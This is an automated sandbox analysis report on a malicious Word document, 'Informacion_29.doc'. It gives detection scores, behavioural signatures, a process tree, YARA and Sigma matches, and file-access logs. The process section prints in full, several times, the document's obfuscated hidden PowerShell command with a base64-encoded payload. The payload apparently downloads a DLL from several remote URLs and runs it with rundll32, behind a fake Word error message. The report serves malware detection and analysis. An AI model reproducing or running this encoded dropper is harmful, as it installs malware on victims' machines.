Loading ...

Play interactive tourEdit tour

Analysis Report Informacion_29.doc

Overview

General Information

Sample Name:Informacion_29.doc
Analysis ID:336937
MD5:6c1cb4c06ead6f5ce29a931fa12410fa
SHA1:4ac228fa54e73993dcccb69389a97cfcf67228b5
SHA256:43dab9a4e7aaa8a0d894f6e64d73bb829dd8c40ff8161233fb6e0886b14819c3

Most interesting Screenshot:

Detection

Score:96
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2276 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2412 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgACQAVQA2ADMANQAxAD0AWwBUAFkAcABFAF0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9AHsANAB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAHkAUwBUAEUAbQAuAGkAJwAsACcATwAuAGQAaQAnACwAJwBzACcALAAnAEUAYwBUAE8AJwAsACcAUgAnACwAJwBSAFkAJwApACAAIAA7ACQATwBMAFYAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAOAB9AHsAMwB9AHsANgB9AHsANQB9AHsAMgB9AHsANAB9ACIAIAAtAEYAJwBzAFkAJwAsACcAVABFAG0ALgBOAEUAJwAsACcAbgB0AG0AQQBOACcALAAnAHYAJwAsACcAQQBHAGUAUgAnACwAJwBJACcALAAnAGkAQwBlAFAATwAnACwAJwBzACcALAAnAFQALgBzAGUAUgAnACkAIAAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAaQAnACsAKAAnAGwAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAGwAeQAnACsAJwBDACcAKQArACgAJwBvAG4AdABpACcAKwAnAG4AJwArACcAdQBlACcAKQApADsAJABZAHQAZABfAHAAcABiAD0AJABIADQAXwBMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABRADAAMQBRADsAJABFADEANQBOAD0AKAAoACcATwAnACsAJwAxAF8AJwApACsAJwBWACcAKQA7ACAAIAAoACAAZwBlAFQALQBWAGEAUgBpAGEAYgBsAGUAIAB1ADYAMwA1ADEAIAAtAFYAYQBMAFUARQBvAE4ATAB5ACAAKQA6ADoAIgBjAFIARQBgAEEAVABlAGQASQByAGAAZQBDAGAAVABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AE4AJwArACgAJwBzAGcAaAAnACsAJwBvACcAKQArACcAaAB0AHsAMAB9ACcAKwAnAEcAJwArACcAYgAnACsAKAAnAGgANQByACcAKwAnADkAbwAnACkAKwAnAHsAMAB9ACcAKQAgAC0AZgAgACAAWwBjAEgAYQBSAF0AOQAyACkAKQA7ACQATgA5ADUAVwA9ACgAKAAnAFMAJwArACcAMgA4ACcAKQArACcAUwAnACkAOwAgACAAKAAgACAATABzACAAIAB2AEEAcgBJAEEAQgBsAGUAOgBvAGwAVgApAC4AVgBBAGwAVQBFADoAOgAiAFMARQBDAFUAcgBgAEkAVABZAGAAUAByAE8AVABPAGAAYwBvAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAEsAXwAyAEwAPQAoACcAQgA2ACcAKwAnADcATwAnACkAOwAkAEIAZQB4AG8AMgA4AHQAIAA9ACAAKAAnAFEAMgAnACsAJwA3AFYAJwApADsAJABNADYAOQBOAD0AKAAoACcAVQAnACsAJwA3ADIAJwApACsAJwBBACcAKQA7ACQAWgBjADcAbgA3AHkAXwA9ACQASABPAE0ARQArACgAKAAnAHsAJwArACcAMAAnACsAJwB9ACcAKwAoACcATgAnACsAJwBzAGcAJwApACsAJwBoAG8AaAB0AHsAMAB9ACcAKwAnAEcAJwArACgAJwBiACcAKwAnAGgANQByACcAKQArACcAOQBvAHsAMAB9ACcAKQAgAC0ARgBbAEMASABBAFIAXQA5ADIAKQArACQAQgBlAHgAbwAyADgAdAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQATgBfADEAVwA9ACgAKAAnAE0AJwArACcAMwA0ACcAKQArACcAWQAnACkAOwAkAEkAbABlAF8AdgBhAGEAPQAoACcAXQAnACsAKAAnAGIAMgAnACsAJwBbACcAKwAnAHMAOgAvAC8AdwAnACsAJwBoAGUAZQBsACcAKQArACcAYwBvACcAKwAnAG0AbwAnACsAJwB2AGkAJwArACgAJwBuACcAKwAnAGcALgBjAG8AJwArACcAbQAvAHAAJwApACsAJwAvAFIAJwArACcAdQAnACsAJwBNACcAKwAoACcAZQBSAFAAJwArACcAYQAnACkAKwAnAC8AQAAnACsAKAAnAF0AJwArACcAYgAyAFsAcwA6AC8AJwApACsAKAAnAC8AJwArACcAMAAwACcAKQArACcAegAnACsAKAAnAHkAJwArACcAawB1ACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AJwArACcAZQAnACkAKwAoACcAWQB1ADEAJwArACcAUQAvACcAKQArACcAQABdACcAKwAnAGIAJwArACgAJwAyAFsAJwArACcAcwA6AC8ALwBrACcAKQArACgAJwBlACcAKwAnAHQAbwByAGUAJwApACsAKAAnAHMAZQAnACsAJwB0AG0AJwApACsAKAAnAGUAJwArACcALgBjAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAvAHAAbQBKACcAKQArACcALwAnACsAKAAnAEAAJwArACcAXQBiACcAKQArACcAMgAnACsAKAAnAFsAJwArACcAcwBzADoALwAnACsAJwAvACcAKQArACgAJwByAHkAYwBvACcAKwAnAG0AJwApACsAJwBwACcAKwAoACcAdQB0ACcAKwAnAGUAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAvAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAbgAnACsAJwB0AC8AVAAnACkAKwAoACcATAAvAEAAXQAnACsAJwBiACcAKwAnADIAWwBzACcAKwAnAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAZAAtACcAKwAoACcAYwAnACsAJwBlAG0AJwArACcALgBjAG8AbQAnACkAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQBhACcAKwAnAGQAJwApACsAKAAnAG0AJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAEoAJwArACcAUwBMAHcARwAxACcAKQArACgAJwAvAEAAXQBiADIAWwBzACcAKwAnADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwB0AGgAZQBiAGUAcwAnACsAJwB0ACcAKQArACcAZgAnACsAKAAnAGkAawByAGEAJwArACcAaAAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGEAZABtACcAKwAnAGkAJwArACcAbgAvACcAKQArACgAJwBmACcAKwAnAE8ASQBsACcAKwAnAFYAWAAvAEAAJwApACsAKAAnAF0AYgAyACcAKwAnAFsAJwApACsAKAAnAHMAcwA6AC8AJwArACcALwAnACkAKwAoACcAcABoACcAKwAnAGEAdwAnACkAKwAoACcAYQB5AGEAJwArACcAZwBlACcAKQArACcAbgAnACsAKAAnAGMAeQAnACsAJwAuAGMAbwBtAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AaQAnACsAJwBuACcAKwAoACcALwAnACsAJwBtAFgAbwAnACkAKwAnADQAYgAnACsAJwAvACcAKQAuACIAcgBlAHAAYABMAGAAQQBDAEUAIgAoACgAKAAnAF0AYgAnACsAJwAyAFsAJwApACsAJwBzACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABwAEwASQBUACIAKAAkAEUAXwBfAFYAIAArACAAJABZAHQAZABfAHAAcABiACAAKwAgACQAQwA1ADQAWQApADsAJABKADMANwBWAD0AKAAoACcARwA1ACcAKwAnADIAJwApACsAJwBDACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWQBmAHAAZAB2AHUAcgAgAGkAbgAgACQASQBsAGUAXwB2AGEAYQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQB3AC0AJwArACcATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwBZAHMAdABlAG0ALgBuAEUAdAAuAHcAZQBiAGMATABpAEUAbgBUACkALgAiAEQAbwBXAGAATgBgAGwAYABvAGEAZABmAEkAbABlACIAKAAkAFkAZgBwAGQAdgB1AHIALAAgACQAWgBjADcAbgA3AHkAXwApADsAJABXADAAMgBIAD0AKAAnAEMAJwArACgAJwA1ADkAJwArACcAWAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABaAGMANwBuADcAeQBfACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMwA4ADQAMQAzACkAIAB7AC4AKAAnAHIAJwArACcAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFoAYwA3AG4ANwB5AF8ALAAoACcAQwBvACcAKwAoACcAbgB0ACcAKwAnAHIAbwAnACkAKwAoACcAbABfAFIAJwArACcAdQAnACsAJwBuAEQATAAnACkAKwAnAEwAJwApAC4AIgB0AG8AcwB0AGAAUgBgAEkATgBHACIAKAApADsAJABVADcAOABXAD0AKAAnAE0AMAAnACsAJwAxAE4AJwApADsAYgByAGUAYQBrADsAJABGADIANABUAD0AKAAnAEsAJwArACgAJwAzACcAKwAnADgATAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQAzADEASQA9ACgAJwBWACcAKwAoACcAOAAnACsAJwA4AEoAJwApACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2292 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2028 cmdline: POwersheLL -w hidden -ENCOD IAAgACQAVQA2ADMANQAxAD0AWwBUAFkAcABFAF0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9AHsANAB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAHkAUwBUAEUAbQAuAGkAJwAsACcATwAuAGQAaQAnACwAJwBzACcALAAnAEUAYwBUAE8AJwAsACcAUgAnACwAJwBSAFkAJwApACAAIAA7ACQATwBMAFYAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAOAB9AHsAMwB9AHsANgB9AHsANQB9AHsAMgB9AHsANAB9ACIAIAAtAEYAJwBzAFkAJwAsACcAVABFAG0ALgBOAEUAJwAsACcAbgB0AG0AQQBOACcALAAnAHYAJwAsACcAQQBHAGUAUgAnACwAJwBJACcALAAnAGkAQwBlAFAATwAnACwAJwBzACcALAAnAFQALgBzAGUAUgAnACkAIAAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAaQAnACsAKAAnAGwAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAGwAeQAnACsAJwBDACcAKQArACgAJwBvAG4AdABpACcAKwAnAG4AJwArACcAdQBlACcAKQApADsAJABZAHQAZABfAHAAcABiAD0AJABIADQAXwBMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABRADAAMQBRADsAJABFADEANQBOAD0AKAAoACcATwAnACsAJwAxAF8AJwApACsAJwBWACcAKQA7ACAAIAAoACAAZwBlAFQALQBWAGEAUgBpAGEAYgBsAGUAIAB1ADYAMwA1ADEAIAAtAFYAYQBMAFUARQBvAE4ATAB5ACAAKQA6ADoAIgBjAFIARQBgAEEAVABlAGQASQByAGAAZQBDAGAAVABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AE4AJwArACgAJwBzAGcAaAAnACsAJwBvACcAKQArACcAaAB0AHsAMAB9ACcAKwAnAEcAJwArACcAYgAnACsAKAAnAGgANQByACcAKwAnADkAbwAnACkAKwAnAHsAMAB9ACcAKQAgAC0AZgAgACAAWwBjAEgAYQBSAF0AOQAyACkAKQA7ACQATgA5ADUAVwA9ACgAKAAnAFMAJwArACcAMgA4ACcAKQArACcAUwAnACkAOwAgACAAKAAgACAATABzACAAIAB2AEEAcgBJAEEAQgBsAGUAOgBvAGwAVgApAC4AVgBBAGwAVQBFADoAOgAiAFMARQBDAFUAcgBgAEkAVABZAGAAUAByAE8AVABPAGAAYwBvAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAEsAXwAyAEwAPQAoACcAQgA2ACcAKwAnADcATwAnACkAOwAkAEIAZQB4AG8AMgA4AHQAIAA9ACAAKAAnAFEAMgAnACsAJwA3AFYAJwApADsAJABNADYAOQBOAD0AKAAoACcAVQAnACsAJwA3ADIAJwApACsAJwBBACcAKQA7ACQAWgBjADcAbgA3AHkAXwA9ACQASABPAE0ARQArACgAKAAnAHsAJwArACcAMAAnACsAJwB9ACcAKwAoACcATgAnACsAJwBzAGcAJwApACsAJwBoAG8AaAB0AHsAMAB9ACcAKwAnAEcAJwArACgAJwBiACcAKwAnAGgANQByACcAKQArACcAOQBvAHsAMAB9ACcAKQAgAC0ARgBbAEMASABBAFIAXQA5ADIAKQArACQAQgBlAHgAbwAyADgAdAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQATgBfADEAVwA9ACgAKAAnAE0AJwArACcAMwA0ACcAKQArACcAWQAnACkAOwAkAEkAbABlAF8AdgBhAGEAPQAoACcAXQAnACsAKAAnAGIAMgAnACsAJwBbACcAKwAnAHMAOgAvAC8AdwAnACsAJwBoAGUAZQBsACcAKQArACcAYwBvACcAKwAnAG0AbwAnACsAJwB2AGkAJwArACgAJwBuACcAKwAnAGcALgBjAG8AJwArACcAbQAvAHAAJwApACsAJwAvAFIAJwArACcAdQAnACsAJwBNACcAKwAoACcAZQBSAFAAJwArACcAYQAnACkAKwAnAC8AQAAnACsAKAAnAF0AJwArACcAYgAyAFsAcwA6AC8AJwApACsAKAAnAC8AJwArACcAMAAwACcAKQArACcAegAnACsAKAAnAHkAJwArACcAawB1ACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AJwArACcAZQAnACkAKwAoACcAWQB1ADEAJwArACcAUQAvACcAKQArACcAQABdACcAKwAnAGIAJwArACgAJwAyAFsAJwArACcAcwA6AC8ALwBrACcAKQArACgAJwBlACcAKwAnAHQAbwByAGUAJwApACsAKAAnAHMAZQAnACsAJwB0AG0AJwApACsAKAAnAGUAJwArACcALgBjAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAvAHAAbQBKACcAKQArACcALwAnACsAKAAnAEAAJwArACcAXQBiACcAKQArACcAMgAnACsAKAAnAFsAJwArACcAcwBzADoALwAnACsAJwAvACcAKQArACgAJwByAHkAYwBvACcAKwAnAG0AJwApACsAJwBwACcAKwAoACcAdQB0ACcAKwAnAGUAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAvAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAbgAnACsAJwB0AC8AVAAnACkAKwAoACcATAAvAEAAXQAnACsAJwBiACcAKwAnADIAWwBzACcAKwAnAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAZAAtACcAKwAoACcAYwAnACsAJwBlAG0AJwArACcALgBjAG8AbQAnACkAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQBhACcAKwAnAGQAJwApACsAKAAnAG0AJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAEoAJwArACcAUwBMAHcARwAxACcAKQArACgAJwAvAEAAXQBiADIAWwBzACcAKwAnADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwB0AGgAZQBiAGUAcwAnACsAJwB0ACcAKQArACcAZgAnACsAKAAnAGkAawByAGEAJwArACcAaAAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGEAZABtACcAKwAnAGkAJwArACcAbgAvACcAKQArACgAJwBmACcAKwAnAE8ASQBsACcAKwAnAFYAWAAvAEAAJwApACsAKAAnAF0AYgAyACcAKwAnAFsAJwApACsAKAAnAHMAcwA6AC8AJwArACcALwAnACkAKwAoACcAcABoACcAKwAnAGEAdwAnACkAKwAoACcAYQB5AGEAJwArACcAZwBlACcAKQArACcAbgAnACsAKAAnAGMAeQAnACsAJwAuAGMAbwBtAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AaQAnACsAJwBuACcAKwAoACcALwAnACsAJwBtAFgAbwAnACkAKwAnADQAYgAnACsAJwAvACcAKQAuACIAcgBlAHAAYABMAGAAQQBDAEUAIgAoACgAKAAnAF0AYgAnACsAJwAyAFsAJwApACsAJwBzACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABwAEwASQBUACIAKAAkAEUAXwBfAFYAIAArACAAJABZAHQAZABfAHAAcABiACAAKwAgACQAQwA1ADQAWQApADsAJABKADMANwBWAD0AKAAoACcARwA1ACcAKwAnADIAJwApACsAJwBDACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWQBmAHAAZAB2AHUAcgAgAGkAbgAgACQASQBsAGUAXwB2AGEAYQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQB3AC0AJwArACcATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwBZAHMAdABlAG0ALgBuAEUAdAAuAHcAZQBiAGMATABpAEUAbgBUACkALgAiAEQAbwBXAGAATgBgAGwAYABvAGEAZABmAEkAbABlACIAKAAkAFkAZgBwAGQAdgB1AHIALAAgACQAWgBjADcAbgA3AHkAXwApADsAJABXADAAMgBIAD0AKAAnAEMAJwArACgAJwA1ADkAJwArACcAWAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABaAGMANwBuADcAeQBfACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMwA4ADQAMQAzACkAIAB7AC4AKAAnAHIAJwArACcAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFoAYwA3AG4ANwB5AF8ALAAoACcAQwBvACcAKwAoACcAbgB0ACcAKwAnAHIAbwAnACkAKwAoACcAbABfAFIAJwArACcAdQAnACsAJwBuAEQATAAnACkAKwAnAEwAJwApAC4AIgB0AG8AcwB0AGAAUgBgAEkATgBHACIAKAApADsAJABVADcAOABXAD0AKAAnAE0AMAAnACsAJwAxAE4AJwApADsAYgByAGUAYQBrADsAJABGADIANABUAD0AKAAnAEsAJwArACgAJwAzACcAKwAnADgATAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQAzADEASQA9ACgAJwBWACcAKwAoACcAOAAnACsAJwA4AEoAJwApACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.2217570571.0000000001BA6000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x890:$s1: POwersheLL
00000005.00000002.2217397039.0000000000106000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x1f10:$s1: POwersheLL

Sigma Overview

System Summary:

barindex
Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: POwersheLL -w hidden -ENCOD IAAgACQAVQA2ADMANQAxAD0AWwBUAFkAcABFAF0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9AHsANAB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAHkAUwBUAEUAbQAuAGkAJwAsACcATwAuAGQAaQAnACwAJwBzACcALAAnAEUAYwBUAE8AJwAsACcAUgAnACwAJwBSAFkAJwApACAAIAA7ACQATwBMAFYAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAOAB9AHsAMwB9AHsANgB9AHsANQB9AHsAMgB9AHsANAB9ACIAIAAtAEYAJwBzAFkAJwAsACcAVABFAG0ALgBOAEUAJwAsACcAbgB0AG0AQQBOACcALAAnAHYAJwAsACcAQQBHAGUAUgAnACwAJwBJACcALAAnAGkAQwBlAFAATwAnACwAJwBzACcALAAnAFQALgBzAGUAUgAnACkAIAAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAaQAnACsAKAAnAGwAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAGwAeQAnACsAJwBDACcAKQArACgAJwBvAG4AdABpACcAKwAnAG4AJwArACcAdQBlACcAKQApADsAJABZAHQAZABfAHAAcABiAD0AJABIADQAXwBMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABRADAAMQBRADsAJABFADEANQBOAD0AKAAoACcATwAnACsAJwAxAF8AJwApACsAJwBWACcAKQA7ACAAIAAoACAAZwBlAFQALQBWAGEAUgBpAGEAYgBsAGUAIAB1ADYAMwA1ADEAIAAtAFYAYQBMAFUARQBvAE4ATAB5ACAAKQA6ADoAIgBjAFIARQBgAEEAVABlAGQASQByAGAAZQBDAGAAVABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AE4AJwArACgAJwBzAGcAaAAnACsAJwBvACcAKQArACcAaAB0AHsAMAB9ACcAKwAnAEcAJwArACcAYgAnACsAKAAnAGgANQByACcAKwAnADkAbwAnACkAKwAnAHsAMAB9ACcAKQAgAC0AZgAgACAAWwBjAEgAYQBSAF0AOQAyACkAKQA7ACQATgA5ADUAVwA9ACgAKAAnAFMAJwArACcAMgA4ACcAKQArACcAUwAnACkAOwAgACAAKAAgACAATABzACAAIAB2AEEAcgBJAEEAQgBsAGUAOgBvAGwAVgApAC4AVgBBAGwAVQBFADoAOgAiAFMARQBDAFUAcgBgAEkAVABZAGAAUAByAE8AVABPAGAAYwBvAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAEsAXwAyAEwAPQAoACcAQgA2ACcAKwAnADcATwAnACkAOwAkAEIAZQB4AG8AMgA4AHQAIAA9ACAAKAAnAFEAMgAnACsAJwA3AFYAJwApADsAJABNADYAOQBOAD0AKAAoACcAVQAnACsAJwA3ADIAJwApACsAJwBBACcAKQA7ACQAWgBjADcAbgA3AHkAXwA9ACQASABPAE0ARQArACgAKAAnAHsAJwArACcAMAAnACsAJwB9ACcAKwAoACcATgAnACsAJwBzAGcAJwApACsAJwBoAG8AaAB0AHsAMAB9ACcAKwAnAEcAJwArACgAJwBiACcAKwAnAGgANQByACcAKQArACcAOQBvAHsAMAB9ACcAKQAgAC0ARgBbAEMASABBAFIAXQA5ADIAKQArACQAQgBlAHgAbwAyADgAdAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQATgBfADEAVwA9ACgAKAAnAE0AJwArACcAMwA0ACcAKQArACcAWQAnACkAOwAkAEkAbABlAF8AdgBhAGEAPQAoACcAXQAnACsAKAAnAGIAMgAnACsAJwBbACcAKwAnAHMAOgAvAC8AdwAnACsAJwBoAGUAZQBsACcAKQArACcAYwBvACcAKwAnAG0AbwAnACsAJwB2AGkAJwArACgAJwBuACcAKwAnAGcALgBjAG8AJwArACcAbQAvAHAAJwApACsAJwAvAFIAJwArACcAdQAnACsAJwBNACcAKwAoACcAZQBSAFAAJwArACcAYQAnACkAKwAnAC8AQAAnACsAKAAnAF0AJwArACcAYgAyAFsAcwA6AC8AJwApACsAKAAnAC8AJwArACcAMAAwACcAKQArACcAegAnACsAKAAnAHkAJwArACcAawB1ACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AJwArACcAZQAnACkAKwAoACcAWQB1ADEAJwArACcAUQAvACcAKQArACcAQABdACcAKwAnAGIAJwArACgAJwAyAFsAJwArACcAcwA6AC8ALwBrACcAKQArACgAJwBlACcAKwAnAHQAbwByAGUAJwApACsAKAAnAHMAZQAnACsAJwB0AG0AJwApACsAKAAnAGUAJwArACcALgBjAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAvAHAAbQBKACcAKQArACcALwAnACsAKAAnAEAAJwArACcAXQBiACcAKQArACcAMgAnACsAKAAnAFsAJwArACcAcwBzADoALwAnACsAJwAvACcAKQArACgAJwByAHkAYwBvACcAKwAnAG0AJwApACsAJwBwACcAKwAoACcAdQB0ACcAKwAnAGUAJwApA

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: Informacion_29.docVirustotal: Detection: 62%Perma Link
Source: Informacion_29.docReversingLabs: Detection: 79%
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: Binary string: ??\C:\Users\user\Nsghoht\Gbh5r9o\Q27V.dll0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000005.00000002.2219049704.00000000028F5000.00000004.00000001.sdmp
Source: Binary string: C:\Windows\mscorlib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb" source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: ws\System.pdbpdbtem.pdb\B source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.pdblog source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdbrac source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2219264371.0000000002BF7000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2219201518.0000000002B90000.00000002.00000001.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
